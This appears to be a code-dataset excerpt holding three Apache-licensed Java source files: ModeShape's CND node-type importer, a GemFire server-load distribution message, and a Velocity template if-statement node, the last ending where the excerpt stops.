code stringlengths 3 1.01M | repo_name stringlengths 5 116 | path stringlengths 3 311 | language stringclasses 30 values | license stringclasses 15 values | size int64 3 1.01M |
|---|---|---|---|---|---|
/*
* ModeShape (http://www.modeshape.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.modeshape.jcr;
import static org.modeshape.common.text.TokenStream.ANY_VALUE;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.jcr.Value;
import javax.jcr.ValueFactory;
import javax.jcr.nodetype.ConstraintViolationException;
import javax.jcr.nodetype.NodeTypeDefinition;
import javax.jcr.version.OnParentVersionAction;
import org.modeshape.common.annotation.NotThreadSafe;
import org.modeshape.common.collection.Problems;
import org.modeshape.common.text.ParsingException;
import org.modeshape.common.text.Position;
import org.modeshape.common.text.TokenStream;
import org.modeshape.common.text.TokenStream.Tokenizer;
import org.modeshape.common.util.IoUtil;
import org.modeshape.common.util.ResourceLookup;
import org.modeshape.jcr.cache.PropertyTypeUtil;
import org.modeshape.jcr.value.Name;
import org.modeshape.jcr.value.NameFactory;
import org.modeshape.jcr.value.NamespaceException;
import org.modeshape.jcr.value.NamespaceRegistry;
import org.modeshape.jcr.value.Property;
import org.modeshape.jcr.value.PropertyType;
import org.modeshape.jcr.value.ValueFormatException;
import org.modeshape.jcr.value.basic.LocalNamespaceRegistry;
/**
* A class that imports the node types contained in a JCR Compact Node Definition (CND) file into {@link NodeTypeDefinition}
* instances.
*/
@NotThreadSafe
public class CndImporter {
protected final List<String> VALID_PROPERTY_TYPES = Collections.unmodifiableList(Arrays.asList("STRING",
"BINARY", "LONG", "DOUBLE",
"BOOLEAN", "DATE", "NAME",
"PATH", "REFERENCE",
"WEAKREFERENCE",
"SIMPLEREFERENCE",
"DECIMAL", "URI", "UNDEFINED",
"*", "?"));
protected final List<String> VALID_ON_PARENT_VERSION = Collections.unmodifiableList(Arrays.asList("COPY",
"VERSION", "INITIALIZE",
"COMPUTE", "IGNORE",
"ABORT"));
protected final Set<String> VALID_QUERY_OPERATORS = Collections.unmodifiableSet(new HashSet<String>(
Arrays.asList(new String[] {
"=", "<>", "<", "<=",
">", ">=", "LIKE"})));
protected static final String MODESHAPE_BUILT_INS = "org/modeshape/jcr/modeshape_builtins.cnd";
protected static final String JSR283_BUILTINS = "org/modeshape/jcr/jsr_283_builtins.cnd";
protected final List<String> BUILT_INS = Collections.unmodifiableList(Arrays.asList(JSR283_BUILTINS, MODESHAPE_BUILT_INS));
/**
* The default flag for using vendor extensions is {@value} .
*/
public static final boolean DEFAULT_USE_VENDOR_EXTENSIONS = true;
/**
* The default flag for supporting pre-JCR 2.0 CND format is {@value} .
*/
public static final boolean DEFAULT_COMPATIBLE_WITH_PREJCR2 = true;
/**
* The regular expression used to capture the vendor property name and the value. The expression is "
* <code>([^\s]+)(\s+(.*))</code>".
*/
protected final String VENDOR_PATTERN_STRING = "([^\\s]+)(\\s+(.*))";
protected final Pattern VENDOR_PATTERN = Pattern.compile(VENDOR_PATTERN_STRING);
protected final ExecutionContext context;
protected final LocalNamespaceRegistry localRegistry;
protected final NameFactory nameFactory;
protected final org.modeshape.jcr.value.ValueFactory<String> stringFactory;
protected final ValueFactory valueFactory;
protected final List<NodeTypeDefinition> nodeTypes;
/**
* Create a new importer that will place the content in the supplied destination under the supplied path.
*
* @param context the context in which the importing should be performed; may not be null
*
*/
public CndImporter( ExecutionContext context ) {
assert context != null;
this.localRegistry = new LocalNamespaceRegistry(context.getNamespaceRegistry());
this.context = context.with(this.localRegistry);
this.valueFactory = new JcrValueFactory(this.context);
this.nameFactory = this.context.getValueFactories().getNameFactory();
this.stringFactory = this.context.getValueFactories().getStringFactory();
this.nodeTypes = new LinkedList<NodeTypeDefinition>();
}
/**
* Import the CND content from the supplied stream, placing the content into the importer's destination.
*
* @param stream the stream containing the CND content
* @param problems where any problems encountered during import should be reported
* @param resourceName a logical name for the resource name to be used when reporting problems; may be null if there is no
* useful name
* @throws IOException if there is a problem reading from the supplied stream
*/
public void importFrom( InputStream stream,
Problems problems,
String resourceName ) throws IOException {
importFrom(IoUtil.read(stream), problems, resourceName);
}
/**
* Import the CND content from the supplied stream, placing the content into the importer's destination.
*
* @param file the file containing the CND content
* @param problems where any problems encountered during import should be reported
* @throws IOException if there is a problem reading from the supplied stream
*/
public void importFrom( File file,
Problems problems ) throws IOException {
importFrom(IoUtil.read(file), problems, file.getCanonicalPath());
}
/**
* Import the CND content from the supplied stream, placing the content into the importer's destination.
*
* @param content the string containing the CND content
* @param problems where any problems encountered during import should be reported
* @param resourceName a logical name for the resource name to be used when reporting problems; may be null if there is no
* useful name
*/
public void importFrom( String content,
Problems problems,
String resourceName ) {
try {
parse(content);
} catch (RuntimeException e) {
problems.addError(e, CndI18n.errorImportingCndContent, resourceName, e.getMessage());
}
}
public void importBuiltIns( Problems problems ) throws IOException {
for (String resource : BUILT_INS) {
InputStream stream = ResourceLookup.read(resource, getClass(), true);
importFrom(stream, problems, resource);
}
}
public Set<NamespaceRegistry.Namespace> getNamespaces() {
return new HashSet<NamespaceRegistry.Namespace>(this.localRegistry.getLocalNamespaces());
}
/**
* @return nodeTypes
*/
public List<NodeTypeDefinition> getNodeTypeDefinitions() {
return Collections.unmodifiableList(new ArrayList<NodeTypeDefinition>(nodeTypes));
}
/**
* Parse the CND content.
*
* @param content the content
* @throws ParsingException if there is a problem parsing the content
*/
protected void parse( String content ) {
Tokenizer tokenizer = new CndTokenizer(false, true);
TokenStream tokens = new TokenStream(content, tokenizer, false);
tokens.start();
while (tokens.hasNext()) {
// Keep reading while we can recognize one of the two types of statements ...
if (tokens.matches("<", ANY_VALUE, "=", ANY_VALUE, ">")) {
parseNamespaceMapping(tokens);
} else if (tokens.matches("[", ANY_VALUE, "]")) {
parseNodeTypeDefinition(tokens);
} else {
Position position = tokens.previousPosition();
throw new ParsingException(position, CndI18n.expectedNamespaceOrNodeDefinition.text(tokens.consume(),
position.getLine(),
position.getColumn()));
}
}
}
/**
* Parse the namespace mapping statement that is next on the token stream.
*
* @param tokens the tokens containing the namespace statement; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected void parseNamespaceMapping( TokenStream tokens ) {
tokens.consume('<');
String prefix = removeQuotes(tokens.consume());
tokens.consume('=');
String uri = removeQuotes(tokens.consume());
tokens.consume('>');
// Register the namespace ...
context.getNamespaceRegistry().register(prefix, uri);
}
/**
* Parse the node type definition that is next on the token stream.
*
* @param tokens the tokens containing the node type definition; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected void parseNodeTypeDefinition( TokenStream tokens ) {
// Parse the name, and create the path and a property for the name ...
Name name = parseNodeTypeName(tokens);
JcrNodeTypeTemplate nodeType = new JcrNodeTypeTemplate(context);
try {
nodeType.setName(string(name));
} catch (ConstraintViolationException e) {
assert false : "Names should always be syntactically valid";
}
// Read the (optional) supertypes ...
List<Name> supertypes = parseSupertypes(tokens);
try {
nodeType.setDeclaredSuperTypeNames(names(supertypes));
// Read the node type options (and vendor extensions) ...
parseNodeTypeOptions(tokens, nodeType);
// Parse property and child node definitions ...
parsePropertyOrChildNodeDefinitions(tokens, nodeType);
} catch (ConstraintViolationException e) {
assert false : "Names should always be syntactically valid";
}
this.nodeTypes.add(nodeType);
}
/**
* Parse a node type name that appears next on the token stream.
*
* @param tokens the tokens containing the node type name; never null
* @return the node type name
* @throws ParsingException if there is a problem parsing the content
*/
protected Name parseNodeTypeName( TokenStream tokens ) {
tokens.consume('[');
Name name = parseName(tokens);
tokens.consume(']');
return name;
}
/**
* Parse an optional list of supertypes if they appear next on the token stream.
*
* @param tokens the tokens containing the supertype names; never null
* @return the list of supertype names; never null, but possibly empty
* @throws ParsingException if there is a problem parsing the content
*/
protected List<Name> parseSupertypes( TokenStream tokens ) {
if (tokens.canConsume('>')) {
// There is at least one supertype ...
return parseNameList(tokens);
}
return Collections.emptyList();
}
/**
* Parse a list of strings, separated by commas. Any quotes surrounding the strings are removed.
*
* @param tokens the tokens containing the comma-separated strings; never null
* @return the list of string values; never null, but possibly empty
* @throws ParsingException if there is a problem parsing the content
*/
protected List<String> parseStringList( TokenStream tokens ) {
List<String> strings = new ArrayList<String>();
if (tokens.canConsume('?')) {
// This list is variant ...
strings.add("?");
} else {
// Read names until we see a ','
do {
strings.add(removeQuotes(tokens.consume()));
} while (tokens.canConsume(','));
}
return strings;
}
/**
* Parse a list of names, separated by commas. Any quotes surrounding the names are removed.
*
* @param tokens the tokens containing the comma-separated strings; never null
* @return the list of string values; never null, but possibly empty
* @throws ParsingException if there is a problem parsing the content
*/
protected List<Name> parseNameList( TokenStream tokens ) {
List<Name> names = new ArrayList<Name>();
if (!tokens.canConsume('?')) {
// Read names until we see a ','
do {
names.add(parseName(tokens));
} while (tokens.canConsume(','));
}
return names;
}
/**
* Parse the options for the node types, including whether the node type is orderable, a mixin, abstract, whether it supports
* querying, and which property/child node (if any) is the primary item for the node type.
*
* @param tokens the tokens containing the comma-separated strings; never null
* @param nodeType the node type being created; may not be null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parseNodeTypeOptions( TokenStream tokens,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
// Set up the defaults ...
boolean isOrderable = false;
boolean isMixin = false;
boolean isAbstract = false;
boolean isQueryable = true;
String primaryItem = null;
while (true) {
// Keep reading while we see a valid option ...
if (tokens.canConsumeAnyOf("ORDERABLE", "ORD", "O")) {
tokens.canConsume('?');
isOrderable = true;
} else if (tokens.canConsumeAnyOf("MIXIN", "MIX", "M")) {
tokens.canConsume('?');
isMixin = true;
} else if (tokens.canConsumeAnyOf("ABSTRACT", "ABS", "A")) {
tokens.canConsume('?');
isAbstract = true;
} else if (tokens.canConsumeAnyOf("NOQUERY", "NOQ")) {
tokens.canConsume('?');
isQueryable = false;
} else if (tokens.canConsumeAnyOf("QUERY", "Q")) {
tokens.canConsume('?');
isQueryable = true;
} else if (tokens.canConsumeAnyOf("PRIMARYITEM", "!")) {
primaryItem = removeQuotes(tokens.consume());
tokens.canConsume('?');
} else if (tokens.matches(CndTokenizer.VENDOR_EXTENSION)) {
List<Property> properties = new LinkedList<Property>();
parseVendorExtensions(tokens, properties);
applyVendorExtensions(nodeType, properties);
} else {
// No more valid options on the stream, so stop ...
break;
}
}
nodeType.setAbstract(isAbstract);
nodeType.setMixin(isMixin);
nodeType.setOrderableChildNodes(isOrderable);
nodeType.setQueryable(isQueryable);
// nodeType.setOnParentVersion();
if (primaryItem != null) {
nodeType.setPrimaryItemName(string(primaryItem));
}
}
/**
* Parse a node type's property or child node definitions that appear next on the token stream.
*
* @param tokens the tokens containing the definitions; never null
* @param nodeType the node type being created; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parsePropertyOrChildNodeDefinitions( TokenStream tokens,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
while (true) {
// Keep reading while we see a property definition or child node definition ...
if (tokens.matches('-')) {
parsePropertyDefinition(tokens, nodeType);
} else if (tokens.matches('+')) {
parseChildNodeDefinition(tokens, nodeType);
} else {
// The next token does not signal either one of these, so stop ...
break;
}
}
}
/**
* Parse a node type's property definition from the next tokens on the stream.
*
* @param tokens the tokens containing the definition; never null
* @param nodeType the node type definition; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parsePropertyDefinition( TokenStream tokens,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
tokens.consume('-');
Name name = parseName(tokens);
JcrPropertyDefinitionTemplate propDefn = new JcrPropertyDefinitionTemplate(context);
propDefn.setName(string(name));
// Parse the (optional) required type ...
parsePropertyType(tokens, propDefn, PropertyType.STRING.getName());
// Parse the default values ...
parseDefaultValues(tokens, propDefn);
// Parse the property attributes (and vendor extensions) ...
parsePropertyAttributes(tokens, propDefn, nodeType);
// Parse the property constraints ...
parseValueConstraints(tokens, propDefn);
// Parse the vendor extensions (appearing after the constraints) ...
List<Property> properties = new LinkedList<Property>();
parseVendorExtensions(tokens, properties);
applyVendorExtensions(nodeType, properties);
nodeType.getPropertyDefinitionTemplates().add(propDefn);
}
/**
* Parse the property type, if a valid one appears next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param propDefn the property definition; never null
* @param defaultPropertyType the default property type if none is actually found
* @throws ParsingException if there is a problem parsing the content
*/
protected void parsePropertyType( TokenStream tokens,
JcrPropertyDefinitionTemplate propDefn,
String defaultPropertyType ) {
if (tokens.canConsume('(')) {
// Parse the (optional) property type ...
String propertyType = defaultPropertyType;
if (tokens.matchesAnyOf(VALID_PROPERTY_TYPES)) {
propertyType = tokens.consume();
if ("*".equals(propertyType)) propertyType = "UNDEFINED";
}
tokens.consume(')');
PropertyType type = PropertyType.valueFor(propertyType.toLowerCase());
int jcrType = PropertyTypeUtil.jcrPropertyTypeFor(type);
propDefn.setRequiredType(jcrType);
}
}
/**
* Parse the property definition's default value, if they appear next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param propDefn the property definition; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected void parseDefaultValues( TokenStream tokens,
JcrPropertyDefinitionTemplate propDefn ) {
if (tokens.canConsume('=')) {
List<String> defaultValues = parseStringList(tokens);
if (!defaultValues.isEmpty()) {
propDefn.setDefaultValues(values(defaultValues));
}
}
}
/**
* Parse the property definition's value constraints, if they appear next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param propDefn the property definition; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected void parseValueConstraints( TokenStream tokens,
JcrPropertyDefinitionTemplate propDefn ) {
if (tokens.canConsume('<')) {
List<String> defaultValues = parseStringList(tokens);
if (!defaultValues.isEmpty()) {
propDefn.setValueConstraints(strings(defaultValues));
}
}
}
/**
* Parse the property definition's attributes, if they appear next on the token stream.
*
* @param tokens the tokens containing the attributes; never null
* @param propDefn the property definition; never null
* @param nodeType the node type; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parsePropertyAttributes( TokenStream tokens,
JcrPropertyDefinitionTemplate propDefn,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
boolean autoCreated = false;
boolean mandatory = false;
boolean isProtected = false;
boolean multiple = false;
boolean isFullTextSearchable = true;
boolean isQueryOrderable = true;
String onParentVersion = "COPY";
while (true) {
if (tokens.canConsumeAnyOf("AUTOCREATED", "AUT", "A")) {
tokens.canConsume('?');
autoCreated = true;
} else if (tokens.canConsumeAnyOf("MANDATORY", "MAN", "M")) {
tokens.canConsume('?');
mandatory = true;
} else if (tokens.canConsumeAnyOf("PROTECTED", "PRO", "P")) {
tokens.canConsume('?');
isProtected = true;
} else if (tokens.canConsumeAnyOf("MULTIPLE", "MUL", "*")) {
tokens.canConsume('?');
multiple = true;
} else if (tokens.matchesAnyOf(VALID_ON_PARENT_VERSION)) {
onParentVersion = tokens.consume();
tokens.canConsume('?');
} else if (tokens.matches("OPV")) {
// variant on-parent-version
onParentVersion = tokens.consume();
tokens.canConsume('?');
} else if (tokens.canConsumeAnyOf("NOFULLTEXT", "NOF")) {
tokens.canConsume('?');
isFullTextSearchable = false;
} else if (tokens.canConsumeAnyOf("NOQUERYORDER", "NQORD")) {
tokens.canConsume('?');
isQueryOrderable = false;
} else if (tokens.canConsumeAnyOf("QUERYOPS", "QOP")) {
parseQueryOperators(tokens, propDefn);
} else if (tokens.canConsumeAnyOf("PRIMARYITEM", "PRIMARY", "PRI", "!")) {
Position pos = tokens.previousPosition();
int line = pos.getLine();
int column = pos.getColumn();
throw new ParsingException(tokens.previousPosition(),
CndI18n.primaryKeywordNotValidInJcr2CndFormat.text(line, column));
} else if (tokens.matches(CndTokenizer.VENDOR_EXTENSION)) {
List<Property> properties = new LinkedList<Property>();
parseVendorExtensions(tokens, properties);
applyVendorExtensions(propDefn, properties);
} else {
break;
}
}
propDefn.setAutoCreated(autoCreated);
propDefn.setMandatory(mandatory);
propDefn.setProtected(isProtected);
propDefn.setOnParentVersion(OnParentVersionAction.valueFromName(onParentVersion.toUpperCase()));
propDefn.setMultiple(multiple);
propDefn.setFullTextSearchable(isFullTextSearchable);
propDefn.setQueryOrderable(isQueryOrderable);
}
/**
* Parse the property definition's query operators, if they appear next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param propDefn the property definition; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected void parseQueryOperators( TokenStream tokens,
JcrPropertyDefinitionTemplate propDefn ) {
if (tokens.canConsume('?')) {
return;
}
// The query operators are expected to be enclosed in a single quote, so therefore will be a single token ...
List<String> operators = new ArrayList<String>();
String operatorList = removeQuotes(tokens.consume());
// Now split this string on ',' ...
for (String operatorValue : operatorList.split(",")) {
String operator = operatorValue.trim();
if (!VALID_QUERY_OPERATORS.contains(operator)) {
throw new ParsingException(tokens.previousPosition(), CndI18n.expectedValidQueryOperator.text(operator));
}
operators.add(operator);
}
if (operators.isEmpty()) {
operators.addAll(VALID_QUERY_OPERATORS);
}
propDefn.setAvailableQueryOperators(strings(operators));
}
/**
* Parse a node type's child node definition from the next tokens on the stream.
*
* @param tokens the tokens containing the definition; never null
* @param nodeType the node type being created; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parseChildNodeDefinition( TokenStream tokens,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
tokens.consume('+');
Name name = parseName(tokens);
JcrNodeDefinitionTemplate childDefn = new JcrNodeDefinitionTemplate(context);
childDefn.setName(string(name));
parseRequiredPrimaryTypes(tokens, childDefn);
parseDefaultType(tokens, childDefn);
parseNodeAttributes(tokens, childDefn, nodeType);
nodeType.getNodeDefinitionTemplates().add(childDefn);
}
/**
* Parse the child node definition's list of required primary types, if they appear next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param childDefn the child node definition; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parseRequiredPrimaryTypes( TokenStream tokens,
JcrNodeDefinitionTemplate childDefn ) throws ConstraintViolationException {
if (tokens.canConsume('(')) {
List<Name> requiredTypes = parseNameList(tokens);
if (requiredTypes.isEmpty()) {
requiredTypes.add(JcrNtLexicon.BASE);
}
childDefn.setRequiredPrimaryTypeNames(names(requiredTypes));
tokens.consume(')');
}
}
/**
* Parse the child node definition's default type, if they appear next on the token stream.
*
* @param tokens the tokens containing the definition; never null
* @param childDefn the child node definition; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parseDefaultType( TokenStream tokens,
JcrNodeDefinitionTemplate childDefn ) throws ConstraintViolationException {
if (tokens.canConsume('=')) {
if (!tokens.canConsume('?')) {
Name defaultType = parseName(tokens);
childDefn.setDefaultPrimaryTypeName(string(defaultType));
}
}
}
/**
* Parse the child node definition's attributes, if they appear next on the token stream.
*
* @param tokens the tokens containing the attributes; never null
* @param childDefn the child node definition; never null
* @param nodeType the node type being created; never null
* @throws ParsingException if there is a problem parsing the content
* @throws ConstraintViolationException not expected
*/
protected void parseNodeAttributes( TokenStream tokens,
JcrNodeDefinitionTemplate childDefn,
JcrNodeTypeTemplate nodeType ) throws ConstraintViolationException {
boolean autoCreated = false;
boolean mandatory = false;
boolean isProtected = false;
boolean sns = false;
String onParentVersion = "COPY";
while (true) {
if (tokens.canConsumeAnyOf("AUTOCREATED", "AUT", "A")) {
tokens.canConsume('?');
autoCreated = true;
} else if (tokens.canConsumeAnyOf("MANDATORY", "MAN", "M")) {
tokens.canConsume('?');
mandatory = true;
} else if (tokens.canConsumeAnyOf("PROTECTED", "PRO", "P")) {
tokens.canConsume('?');
isProtected = true;
} else if (tokens.canConsumeAnyOf("SNS", "*")) { // standard JCR 2.0 keywords for SNS ...
tokens.canConsume('?');
sns = true;
} else if (tokens.canConsumeAnyOf("MULTIPLE", "MUL", "*")) { // from pre-JCR 2.0 ref impl
Position pos = tokens.previousPosition();
int line = pos.getLine();
int column = pos.getColumn();
throw new ParsingException(tokens.previousPosition(),
CndI18n.multipleKeywordNotValidInJcr2CndFormat.text(line, column));
} else if (tokens.matchesAnyOf(VALID_ON_PARENT_VERSION)) {
onParentVersion = tokens.consume();
tokens.canConsume('?');
} else if (tokens.matches("OPV")) {
// variant on-parent-version
onParentVersion = tokens.consume();
tokens.canConsume('?');
} else if (tokens.canConsumeAnyOf("PRIMARYITEM", "PRIMARY", "PRI", "!")) {
Position pos = tokens.previousPosition();
int line = pos.getLine();
int column = pos.getColumn();
throw new ParsingException(tokens.previousPosition(),
CndI18n.primaryKeywordNotValidInJcr2CndFormat.text(line, column));
} else if (tokens.matches(CndTokenizer.VENDOR_EXTENSION)) {
List<Property> properties = new LinkedList<Property>();
parseVendorExtensions(tokens, properties);
applyVendorExtensions(childDefn, properties);
} else {
break;
}
}
childDefn.setAutoCreated(autoCreated);
childDefn.setMandatory(mandatory);
childDefn.setProtected(isProtected);
childDefn.setOnParentVersion(OnParentVersionAction.valueFromName(onParentVersion.toUpperCase()));
childDefn.setSameNameSiblings(sns);
}
/**
* Parse the name that is expected to be next on the token stream.
*
* @param tokens the tokens containing the name; never null
* @return the name; never null
* @throws ParsingException if there is a problem parsing the content
*/
protected Name parseName( TokenStream tokens ) {
String value = tokens.consume();
try {
return nameFactory.create(removeQuotes(value));
} catch (ValueFormatException e) {
if (e.getCause() instanceof NamespaceException) {
throw (NamespaceException)e.getCause();
}
throw new ParsingException(tokens.previousPosition(), CndI18n.expectedValidNameLiteral.text(value));
}
}
protected final String removeQuotes( String text ) {
// Remove leading and trailing quotes, if there are any ...
return text.replaceFirst("^['\"]+", "").replaceAll("['\"]+$", "");
}
/**
* Parse the vendor extensions that may appear next on the tokenzied stream.
*
* @param tokens token stream; may not be null
* @param properties the list of properties to which any vendor extension properties should be added
*/
protected final void parseVendorExtensions( TokenStream tokens,
List<Property> properties ) {
while (tokens.matches(CndTokenizer.VENDOR_EXTENSION)) {
Property extension = parseVendorExtension(tokens.consume());
if (extension != null) properties.add(extension);
}
}
/**
* Parse the vendor extension, including the curly braces in the CND content.
*
* @param vendorExtension the vendor extension string
* @return the property representing the vendor extension, or null if the vendor extension is incomplete
*/
protected final Property parseVendorExtension( String vendorExtension ) {
if (vendorExtension == null) return null;
// Remove the curly braces ...
String extension = vendorExtension.replaceFirst("^[{]", "").replaceAll("[}]$", "");
if (extension.trim().length() == 0) return null;
return parseVendorExtensionContent(extension);
}
/**
* Parse the content of the vendor extension excluding the curly braces in the CND content.
*
* @param vendorExtension the vendor extension string; never null
* @return the property representing the vendor extension, or null if the vendor extension is incomplete
*/
protected final Property parseVendorExtensionContent( String vendorExtension ) {
Matcher matcher = VENDOR_PATTERN.matcher(vendorExtension);
if (!matcher.find()) return null;
String vendorName = removeQuotes(matcher.group(1));
String vendorValue = removeQuotes(matcher.group(3));
assert vendorName != null;
assert vendorValue != null;
assert vendorName.length() != 0;
assert vendorValue.length() != 0;
return context.getPropertyFactory().create(nameFactory.create(vendorName), vendorValue);
}
/**
* Method that is responsible for setting the vendor extensions on the supplied node type template. By default this method
* does nothing; subclasses should override this method for custom extensions.
*
* @param nodeType the node type definition; never null
* @param extensions the extensions; never null but possibly empty
*/
protected void applyVendorExtensions( JcrNodeTypeTemplate nodeType,
List<Property> extensions ) {
}
/**
* Method that is responsible for setting the vendor extensions on the supplied child node type template. By default this
* method does nothing; subclasses should override this method for custom extensions.
*
* @param childDefn the child definition; never null
* @param extensions the extensions; never null but possibly empty
*/
protected void applyVendorExtensions( JcrNodeDefinitionTemplate childDefn,
List<Property> extensions ) {
}
/**
* Method that is responsible for setting the vendor extensions on the supplied property definition template. By default this
* method does nothing; subclasses should override this method for custom extensions.
*
* @param propDefn the property definition; never null
* @param extensions the extensions; never null but possibly empty
*/
protected void applyVendorExtensions( JcrPropertyDefinitionTemplate propDefn,
List<Property> extensions ) {
}
protected final String string( Object name ) {
return stringFactory.create(name);
}
protected final String[] names( Collection<Name> names ) {
String[] result = new String[names.size()];
int i = 0;
for (Name name : names) {
result[i++] = string(name);
}
return result;
}
protected final String[] strings( Collection<String> values ) {
String[] result = new String[values.size()];
int i = 0;
for (String value : values) {
result[i++] = value;
}
return result;
}
protected final Value[] values( Collection<String> values ) {
Value[] result = new Value[values.size()];
int i = 0;
for (String value : values) {
result[i++] = valueFactory.createValue(value);
}
return result;
}
}
| phantomjinx/modeshape | modeshape-jcr/src/main/java/org/modeshape/jcr/CndImporter.java | Java | apache-2.0 | 38,876 |
/*=========================================================================
* Copyright (c) 2002-2014 Pivotal Software, Inc. All Rights Reserved.
* This product is protected by U.S. and international copyright
* and intellectual property laws. Pivotal products are covered by
* more patents listed at http://www.pivotal.io/patents.
*=========================================================================
*/
package com.gemstone.gemfire.cache.client.internal;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import com.gemstone.gemfire.DataSerializer;
import com.gemstone.gemfire.cache.server.ServerLoad;
import com.gemstone.gemfire.distributed.Locator;
import com.gemstone.gemfire.distributed.internal.DistributionManager;
import com.gemstone.gemfire.distributed.internal.InternalLocator;
import com.gemstone.gemfire.distributed.internal.SerialDistributionMessage;
import com.gemstone.gemfire.distributed.internal.ServerLocation;
import com.gemstone.gemfire.distributed.internal.ServerLocator;
import com.gemstone.gemfire.internal.InternalDataSerializer;
/**
* A message from bridge server to locator to update the locator
* with new load information from the bridge server.
* Also includes the id of any clients whose estimate is no
* longer needed on the server-locator.
* @author dsmith
* @since 5.7
*
*/
public class BridgeServerLoadMessage extends SerialDistributionMessage {
protected ServerLoad load;
protected ServerLocation location;
protected ArrayList clientIds;
public BridgeServerLoadMessage() {
super();
}
public BridgeServerLoadMessage(ServerLoad load, ServerLocation location,
ArrayList clientIds) {
super();
this.load = load;
this.location = location;
this.clientIds = clientIds;
}
@Override
protected void process(DistributionManager dm) {
updateLocalLocators();
}
public void updateLocalLocators() {
List locators = Locator.getLocators();
for (int i=0; i < locators.size(); i++) {
InternalLocator l = (InternalLocator)locators.get(i);
ServerLocator serverLocator = l.getServerLocatorAdvisee();
if(serverLocator != null) {
serverLocator.updateLoad(location, load, this.clientIds);
}
}
}
public int getDSFID() {
return BRIDGE_SERVER_LOAD_MESSAGE;
}
@Override
public void fromData(DataInput in) throws IOException, ClassNotFoundException {
super.fromData(in);
load = new ServerLoad();
InternalDataSerializer.invokeFromData(load, in);
location = new ServerLocation();
InternalDataSerializer.invokeFromData(location, in);
this.clientIds = DataSerializer.readArrayList(in);
}
@Override
public void toData(DataOutput out) throws IOException {
super.toData(out);
InternalDataSerializer.invokeToData(load, out);
InternalDataSerializer.invokeToData(location, out);
DataSerializer.writeArrayList(this.clientIds, out);
}
@Override
protected Object clone() throws CloneNotSupportedException {
return super.clone();
}
}
| ameybarve15/incubator-geode | gemfire-core/src/main/java/com/gemstone/gemfire/cache/client/internal/BridgeServerLoadMessage.java | Java | apache-2.0 | 3,146 |
package org.apache.flex.forks.velocity.runtime.parser.node;
/*
* Copyright 2000-2001,2004 The Apache Software Foundation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Please look at the Parser.jjt file which is
* what controls the generation of this class.
*
* @author <a href="mailto:jvanzyl@apache.org">Jason van Zyl</a>
* @author <a href="mailto:geirm@optonline.net">Geir Magnusson Jr.</a>
* @version $Id: ASTIfStatement.java,v 1.9.8.1 2004/03/03 23:22:58 geirm Exp $
*/
import java.io.Writer;
import java.io.IOException;
import org.apache.flex.forks.velocity.context.InternalContextAdapter;
import org.apache.flex.forks.velocity.runtime.parser.*;
import org.apache.flex.forks.velocity.exception.MethodInvocationException;
import org.apache.flex.forks.velocity.exception.ParseErrorException;
import org.apache.flex.forks.velocity.exception.ResourceNotFoundException;
public class ASTIfStatement extends SimpleNode
{
public ASTIfStatement(int id)
{
super(id);
}
public ASTIfStatement(Parser p, int id)
{
super(p, id);
}
/** Accept the visitor. **/
public Object jjtAccept(ParserVisitor visitor, Object data)
{
return visitor.visit(this, data);
}
public boolean render( InternalContextAdapter context, Writer writer)
throws IOException,MethodInvocationException,
ResourceNotFoundException, ParseErrorException
{
/*
* Check if the #if(expression) construct evaluates to true:
* if so render and leave immediately because there
* is nothing left to do!
*/
if (jjtGetChild(0).evaluate(context))
{
jjtGetChild(1).render(context, writer);
return true;
}
int totalNodes = jjtGetNumChildren();
/*
* Now check the remaining nodes left in the
* if construct. The nodes are either elseif
* nodes or else nodes. Each of these node
* types knows how to evaluate themselves. If
* a node evaluates to true then the node will
* render itself and this method will return
* as there is nothing left to do.
*/
for (int i = 2; i < totalNodes; i++)
{
if (jjtGetChild(i).evaluate(context))
{
jjtGetChild(i).render(context, writer);
return true;
}
}
/*
* This is reached when an ASTIfStatement
* consists of an if/elseif sequence where
* none of the nodes evaluate to true.
*/
return true;
}
